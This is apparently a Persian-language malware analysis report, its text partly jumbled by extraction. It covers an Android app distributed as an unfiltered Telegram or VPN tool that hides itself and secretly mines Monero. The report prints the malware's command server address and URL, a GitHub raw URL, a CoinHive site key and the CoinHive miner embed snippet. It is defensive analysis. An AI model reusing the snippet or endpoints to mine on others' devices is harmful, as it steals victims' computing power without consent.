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 چکیده 1

پس از فیلتر شدن تلگرام بدافزارهای مختلفی تحت عنوان تلگرام بدون فیلتر، فیلترشکن و غیره منتشر شدند. 

در این گزارش به بررسی یکی از این بدافزارها که پس از نصب مخفی شده و اقدام به استخراج ارز دیجیتال 

 کند، پرداخته شده است. مونرو می

 مقدمه 2

های دافزارهایی است که اخیرا با توجه به فیلتر شدن تلگرام، در حال انتشار در کانالفیلتر یکی از ب_برنامه جت

است که پس از نصب با نام  Android System Web Viewتلگرامی است. نام این برنامه درواقع 

MainActivity گیرد. روی دستگاه قرار می 

 

 1شکل 

کرده و از توانایی  1زمینه اقدام به استخراج ارز دیجیتال مونروربر متوجه شود، در پساین بدافزار بدون آنکه کا

کند. متاسفانه در دستگاه موبایل همانند کامپیوتر کاربر متوجه تغییرات ایجاد شده یا کندی دستگاه سواستفاده می

مه به بررسی کد و ترافیک این شود و احتمال اینکه متوجه این سواستفاده شود بسیار پایین است. در ادانمی

 برنامه پرداخته خواهد شد.

 

                                                   

 

 

1 Monero 
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 بررسی کد برنامه 3

 قرار دارد. com.google.webviewبخش اصلی برنامه در پوشه 

 

 2شکل 

 کند:پس از اجرا شدن برنامه درخواستی به آدرس زیر ارسال می MainActivityدر کلاس  

https://raw.githubusercontent.com/epicmafia98/crypto/master/crypto.txt 

 شود. یبرگردانده م //:cr/87.117.197.14httpدر جواب این درخواست آدرس 

 شود که در آن کد زیر قرار دارد:صدا زده می  MyService، کلاس MainActivityدر 

https://raw.githubusercontent.com/epicmafia98/crypto/master/crypto.txt
http://87.117.197.14/cr
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 3شکل 

گردد. مقدار شود که با این کار عملیات استخراج آغاز میصدا زده می CryptoCoreدر این کد کلاس 

Username  در اینجاAndroidWebView .قرار داده شده است 

 

 4شکل 

 شود:برای استخراج از فرمت زیر استفاده می  coinhive.comبر اساس سایت 

<script src="https://coinhive.com/lib/coinhive.min.js"></script> 

<script> 

 var miner = new CoinHive.User('SITE_KEY', 'john-doe'); 

 miner.start(); 

</script> 
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یا همان نام  'john-doe'و مقدار  rdwHkZome8rA6BIUGZN9vtzmmg6UgI2yبرابر با  'SITE_KEY'که در اینجا مقدار 

شود که از این کلید در است. با جستجوی مقدار کلید سایت مشخص می AndroidWebViewکاربری نیز برابر با 

 ی ثبت شده است.ها استفاده نشده و احتمالا تنها برای بدافزارهای موبایلسایت

 مشخصا بیان شده است.   CoinHiveقابل مشاهده است. در اینجا نیز  5بخشی از کد ماینر در شکل 

 

 5شکل 

 بررسی ترافیک برنامه 4

 است: //:87.117.197.14httpاولین درخواست برنامه به آدرس 

http://87.117.197.14/cr?username=AndroidWebView&throttle=0.5&threads=8 

قابل مشاهده  6شود. بخشی از کد این صفحه در شکل در پاسخ به این درخواست، عملیات استخراج آغاز می

 است.

http://87.117.197.14/
http://87.117.197.14/cr?username=AndroidWebView&throttle=0.5&threads=8
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 6شکل 

 در این بخش کلید سایت قرار گرفته شده است.

 

 7شکل 

 قرار گرفته است.  8نمایی از سایت نیز که ما به صورت جداگانه آن را باز کردیم در شکل 

 

 8شکل 

 https://raw.githubusercontent.com/epicmafia98/crypto/master/crypto.txtدرخواست بعد به آدرس  

 شود.برگردانده می //:cr/87.117.197.14httpاست که در پاسخ مقدار  151.101.12.133در 

https://coinhive.com/lib/worker-و  https://coinhive.com/lib/coinhive.min.jsسپس اسکریپت 

7asmjs.min.js?v شوند.اجرا می 

http://87.117.197.14/cr
https://coinhive.com/lib/coinhive.min.js
https://coinhive.com/lib/worker-asmjs.min.js?v7
https://coinhive.com/lib/worker-asmjs.min.js?v7

